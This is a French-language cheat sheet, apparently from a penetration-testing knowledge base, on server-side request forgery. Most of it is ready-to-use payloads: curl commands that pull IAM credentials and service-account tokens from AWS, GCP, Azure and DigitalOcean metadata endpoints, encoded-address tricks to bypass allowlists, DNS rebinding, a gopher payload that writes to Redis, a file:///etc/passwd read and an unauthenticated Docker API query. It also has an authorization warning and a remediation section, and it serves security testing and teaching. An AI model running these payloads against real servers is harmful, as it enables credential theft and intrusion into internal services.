---
title: SSRF
description: "Forcer un serveur à émettre des requêtes : metadata cloud, services internes et contournement d'allowlist."
category: web
kind: technique
tags: [ssrf, cloud, metadata, gopher]
level: advanced
updated: 2026-11-04
order: 7
aliases: ["server-side request forgery"]
---

## Détection

```http
GET /fetch?url=http://127.0.0.1:80/ HTTP/1.1
GET /fetch?url=http://[::1]:80/ HTTP/1.1
GET /image?src=http://oast.example/ssrf HTTP/1.1
```

Teste les schémas, les ports internes et les redirections. Une réponse différente (temps, taille, code) suffit à confirmer.

## Metadata cloud

```bash
# AWS IMDSv1
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# AWS IMDSv2 (token obligatoire)
TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token \
  -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600')
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/
```

```bash
# GCP
curl -H 'Metadata-Flavor: Google' \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure
curl -H 'Metadata: true' \
  'http://169.254.169.254/metadata/instance?api-version=2021-02-01'

# DigitalOcean
curl http://169.254.169.254/metadata/v1.json
```

> [!TIP]
> Si l'application suit les redirections, héberge une page 302 vers `http://169.254.169.254/...`. Les filtres qui valident l'URL initiale ne voient souvent pas la destination finale.

## Contourner une allowlist

```text
http://127.0.0.1
http://2130706433          # décimal
http://0177.0.0.1          # octal
http://0x7f000001          # hexadécimal
http://127.1
http://[::ffff:127.0.0.1]
http://127.0.0.1.nip.io
http://target.test@127.0.0.1
http://127.0.0.1#.target.test
```

```bash
# Résolution DNS contrôlée (rebinding)
# 1. Enregistre un domaine qui alterne entre IP publique et 127.0.0.1
# 2. Fais résoudre le domaine deux fois : validation puis requête
```

## Services internes

```text
http://127.0.0.1:6379     # Redis
http://127.0.0.1:9200     # Elasticsearch
http://127.0.0.1:2375     # Docker API
http://127.0.0.1:8500     # Consul
http://127.0.0.1:8080     # app interne
```

```bash
# Redis via gopher (si le client supporte gopher://)
gopher://127.0.0.1:6379/_SET%20x%20%22%0A%0A%22%0A

# Fichier local
file:///etc/passwd
```

```bash
# Docker API : lister les conteneurs
curl http://127.0.0.1:2375/containers/json
```

## Blind SSRF

- Utilise un collaborator (interactsh, Burp Collaborator) pour confirmer l'émission de la requête.
- Teste les timeouts : un port filtré répond lentement, un port ouvert rapidement.
- Fais varier les chemins (`/latest/meta-data/`, `/health`, `/metrics`) et observe les différences de taille.

> [!WARNING]
> L'accès aux metadata cloud peut exposer des credentials IAM. Ne les utilise jamais au-delà de la preuve d'accès, ne les stocke pas en clair et signale immédiatement le finding. Ne lance pas de scan interne massif depuis un SSRF sans autorisation.

## Remédiation

- Allowlist stricte de schémas, domaines et ports.
- Résolution DNS puis validation de l'IP, avec re-validation à chaque redirection.
- Bloquer `169.254.169.254`, les plages privées et les schémas non HTTP.
- IMDSv2 obligatoire côté AWS, metadata proxy côté GCP.
- Réseau segmenté : un service qui fetch des URLs ne doit pas atteindre le plan de contrôle.
